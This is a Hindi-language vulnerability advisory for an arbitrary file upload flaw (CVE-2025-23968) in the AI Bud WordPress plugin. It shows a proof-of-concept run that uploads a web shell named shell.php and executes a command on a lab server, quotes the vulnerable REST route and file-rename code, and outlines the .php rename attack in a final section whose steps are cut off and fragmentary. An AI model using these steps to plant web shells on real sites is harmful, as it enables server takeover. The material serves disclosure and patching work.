
AI Bud – एआई कंटेंट जनरेटर, एआई चैटबॉट, ChatGPT, Gemini, GPT-4o <= 1.8.4 में मनमाना फ़ाइल अपलोड
AI Bud प्लगइन एक REST API एंडपॉइंट /wp-json/ai-buddy/v1/wp/attachments उजागर करता है जो WordPress मीडिया लाइब्रेरी में फ़ाइलें अपलोड करने की अनुमति देता है। एंडपॉइंट की फ़ाइल लॉजिक में फ़ाइल नाम बदलने की कार्यक्षमता शामिल है जो फ़ाइल प्रकार सत्यापन के बाद ट्रिगर होती है, और हमलावर को अपलोड की गई फ़ाइल का नाम किसी भी एक्सटेंशन (जिसमें .php भी शामिल है) में बदलने की अनुमति देती है, जिससे व्यवस्थापक या उससे ऊपर के उपयोगकर्ता मनमानी फ़ाइलें अपलोड कर सकते हैं और संभावित रूप से सर्वर पर कोड निष्पादन प्राप्त कर सकते हैं।
एक POC cve-2025-23968.py प्रदान किया गया है जो एक व्यवस्थापक द्वारा shell.php नामक वेब शेल अपलोड करने को प्रदर्शित करता है।
python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr
<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
inet 127. 0. 0. 1 / 8 scope host lo
valid_lft forever preferred_lft forever
inet 6 :: 1 / 128 scope host
valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
valid_lft 75700 sec preferred_lft 75700 sec
inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
valid_lft 86174 sec preferred_lft 14174 sec
inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
valid_lft forever preferred_lft forever
inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
valid_lft forever preferred_lft forever
</pre>
प्लगइन अपने REST API रूट्स को /wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php में पंजीकृत करता है।
पंक्तियाँ 250-284 /wp/attachments एंडपॉइंट के लिए REST रूट पंजीकृत करती हैं। कॉलबैक फ़ंक्शन को create_attachment के रूप में परिभाषित किया गया है:
register_rest_route(
$namespace,
'/wp/attachments',
array(
'methods' => 'POST',
'permission_callback' => array( AuthGate::class, 'authorized'
),
'callback' => array( $this, 'create_attachment' ),
'args' => array(
'title' => array(
'required' => true,
'type' => 'string',
),
'caption' => array(
'required' => true,
'type' => 'string',
),
'alt' => array(
'required' => true,
'type' => 'string',
),
'description' => array(
'required' => true,
'type' => 'string',
),
'url' => array(
'required' => true,
'type' => 'string',
),
'filename' => array(
'required' => false,
'type' => 'string',
),
),
create_attachment फ़ंक्शन पंक्ति 709 पर परिभाषित है, और नाम बदलने की लॉजिक पंक्ति 744 से शुरू होती है। जैसा कि नीचे दिए गए स्निपेट में देखा गया है, यदि $filename पैरामीटर निर्दिष्ट किया गया है, तो इसका उपयोग किसी मौजूदा अटैचमेंट का नाम बदलने (बिना सैनिटाइज़ किए) के लिए किया जा सकता है:
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
$file = get_attached_file( $attachment_id, true );
$dir = dirname( $file );
$new_file = $dir. '/'. $filename;
if ( file_exists( $new_file ) ) {
$new_file = $dir. '/'. uniqid(). '-'. $filename;
}
$this->move_file( $file, $new_file );
update_attached_file( $attachment_id, $new_file );
}
.php नाम बदलने का हमला
FF D8 FF E0 होते हैं।.jpg होता है।/wp-json/ai-buddy/v1/wp/attachments पर POST अनुरोध भेजता है जिसमें:
/wp-content/uploads/YEAR/MONTH/shell.php तक पहुँचता है और मनमाना PHP कोड निष्पादित करता है।